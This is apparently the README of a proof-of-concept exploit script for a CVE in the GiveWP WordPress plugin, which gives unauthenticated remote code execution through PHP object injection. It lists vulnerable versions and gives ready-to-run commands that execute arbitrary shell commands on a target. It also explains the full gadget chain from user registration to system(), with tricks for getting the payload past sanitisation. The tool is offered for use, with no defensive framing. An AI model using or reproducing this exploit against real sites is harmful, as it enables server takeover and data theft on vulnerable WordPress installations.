
Proof-of-concept exploit for CVE-2026-82222, an unauthenticated PHP object injection leading to remote code execution in GiveWP WordPress plugin versions up to 4.16.7.1.
| Range | Reachable? |
|---|
<= 4.16.5.1 | Default install. One published form, one active gateway. |
4.16.6 to 4.16.7.1 | Yes, if a legacy (non-V3) form exists. Fresh V3-only install is not. |
Python 3.8+ and requests.
pip install requests
python cve-2026-82222.py http://127.0.0.1:8080
python cve-2026-82222.py http://127.0.0.1:8080 --check
python cve-2026-82222.py http://127.0.0.1:8080 42 -c id
python cve-2026-82222.py http://127.0.0.1:8080 -g offline
-c defaults to id. No < > & % in the command; spaces become ${IFS}.
Pass a form id if discovery misses. Pass -g if the script cannot find an enabled gateway.
The donation request often returns HTTP 500 or times out. That is expected. The session write happens first. system() output is in the next request (/?give_action=view_receipt and similar), not in a file on disk.
python cve-2026-82222.py -h for the rest.
POST give_action=user_register. GiveWP creates the account and sets an auth cookie. It does not consult users_can_register.last_name through /wp-admin/profile.php.give_last. process-donation.php reads the name from usermeta, runs maybeSafeUnserialize (allowed_classes => false), and writes __PHP_Incomplete_Class into wp_give_sessions. PHP re-emits the original object bytes on the way in.TCPDF::__destruct() reaches call_user_func_array('system', [cmd]). Stdout is in that response.TCPDF.__destruct()
-> Symfony Session.getIterator()
-> Give\TestData ProviderForwarder.__call()
-> call_user_func_array('system', [cmd])
pre_user_last_name strips NUL, so gadget properties are unmangled. Backslashes are quadrupled to survive stripslashes_deep then removeBackslashes.
MIT. See LICENSE.